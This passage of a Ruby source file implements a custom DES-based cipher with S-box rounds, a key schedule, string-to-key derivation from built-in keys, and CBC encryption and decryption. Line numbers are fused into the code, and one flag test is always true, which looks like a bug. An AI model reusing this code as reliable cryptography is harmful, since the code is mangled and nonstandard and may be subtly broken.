0x3F3F3F3F897data_block[1] &= 0x3F3F3F3F898data_block899end900901def desx(data_block, ksch, idx)902ksch = ksch.pack("V*")903ksch = ksch.unpack("Q<*")904key_block = ksch[idx]905906data_block_ptr = data_block.pack("V*")907data_block_ptr = data_block_ptr.unpack1("Q<*")908data_block_ptr ^= key_block909910counter = 1911data_block_byte_ptr = [data_block_ptr].pack('Q<')912left = SBOXES[data_block_byte_ptr[0].ord]913right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]914counter += 1915left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]916counter += 1917right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]918counter += 1919left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]920counter += 1921right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]922counter += 1923left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]924counter += 1925right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]926counter += 1927left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]928counter += 1929right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]930counter += 1931left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]932counter += 1933right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]934counter += 1935left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]936counter += 1937right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]938counter += 1939left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]940counter += 1941right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]942943# Create return tuple944ret_block = Array.new945ret_block.push left946ret_block.push right947ret_block948end949950def store(data_block)951a1 = data_block.pack("V*")952val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1953val & 0xffffffff954end955956def sbox_xors(data_block_in, ksch_arg, decrypt_flag)957decrypt_flag_cpy = decrypt_flag958if (decrypt_flag & 0x100) != 0959data_block_0 = data_block_in960else961data_block_0 = rotate_block_init(data_block_in)962end963964encrypt_flag = (decrypt_flag_cpy & 1) == 0965ti_block_0 = load(data_block_0[0])966ti_block_1 = load(data_block_0[1])967968for i in 0..15969ti_cpy = ti_block_1970if encrypt_flag971ti_block_1 = desx(ti_block_1, ksch_arg, i)972else973ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)974end975ti_block_1[0] ^= ti_block_0[0]976ti_block_1[1] ^= ti_block_0[1]977ti_block_0 = ti_cpy978end979980data_block_0[0] = store(ti_block_1)981data_block_0[1] = store(ti_block_0)982983if (!(decrypt_flag_cpy & 0x200) != 0)984rotate_block_final(data_block_0)985else986data_block_0987end988end989990def gen_key_unchecked(key)991idx = 0992key_arr = key.unpack("V*")993key_sch = Array.new994for i in 0..15995idx += ROTATIONS[i].ord996v6 = 0997v5 = 0998v14 = 0999for j in 0..471000pc2_p1 = (idx + PC2[j].ord) % 0x1C1001if PC2[j].ord > 0x1B1002pc2_p2 = 0x1c1003else1004pc2_p2 = 01005end1006v13 = PC1[pc2_p1 + pc2_p2].ord1007if v13 <= 311008v12 = 01009else1010v12 = 11011v13 -= 321012end1013if j <= 231014v10 = j1015else1016v14 = 11017v10 = j - 241018end1019v11 = 8 * (v10 / 6) + v10 % 61020key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]10211022if (key_and != 0)1023if v14 == 11024v6 |= SBOX_BYTE_ORDER[v11]1025else1026v5 |= SBOX_BYTE_ORDER[v11]1027end1028end1029end1030key_sch.push v51031key_sch.push v61032end1033key_sch1034end10351036def des_string_to_key(key_buf_str)1037des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)1038des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)10391040temp_key1 = Array.new(8, 0)1041temp_key2 = Array.new(8, 0)10421043key_buf_bytes = key_buf_str.unpack("c*")10441045counter = 01046key_buf_str_len = key_buf_bytes.length - 11047for i in 0..key_buf_str_len1048counter %= 81049temp_key1[counter] |= key_buf_bytes[i]1050temp_key2[counter] |= key_buf_bytes[i]10511052data_block = temp_key1.pack("c*").unpack("V*")1053temp_key1 = sbox_xors(data_block, des_keysch_0, 0)1054temp_key1 = temp_key1.pack("V*").unpack("c*")10551056data_block = temp_key2.pack("c*").unpack("V*")1057temp_key2 = sbox_xors(data_block, des_keysch_1, 0)1058temp_key2 = temp_key2.pack("V*").unpack("c*")1059counter += 11060end10611062# Prepare the return array1063ret_key = Array.new(8, 0)1064for j in 0..71065ret_key[j] = temp_key2[j] ^ temp_key1[j]1066end1067ret_key.pack("c*")1068end10691070def des_cbc(input_buf, key_sch, iv, decrypt_flag)1071output_block_arr = Array.new1072blocks = input_buf.unpack("Q<*")1073for i in 0..blocks.length - 110741075current_block = blocks[i]1076if decrypt_flag == 11077cur_block = current_block1078else1079current_block ^= iv1080end10811082current_block_tuple = [current_block].pack("Q<").unpack("V*")1083output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)1084output_block = output_block_tuple.pack("V*").unpack1("Q<")1085output_block_arr.push output_block10861087if decrypt_flag == 11088output_block ^= iv1089iv = cur_block1090else1091iv = output_block1092end1093end10941095output_block_arr.pack("Q<*")1096end10971098def des_crypt_func(binary_buf, key_buf, decrypt_flag)1099des_key = des_string_to_key(key_buf)1100des_keysch = gen_key_unchecked(des_key)11011102temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)1103binary_buf_str = binary_buf.unpack('c*')11041105for j in 0..binary_buf_str.length - 11106temp_enc_buf[j] = binary_buf_str[j]1107end11081109temp_enc_buf = temp_enc_buf.pack('c*')1110output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)1111output_buf1112end11131114end111511161117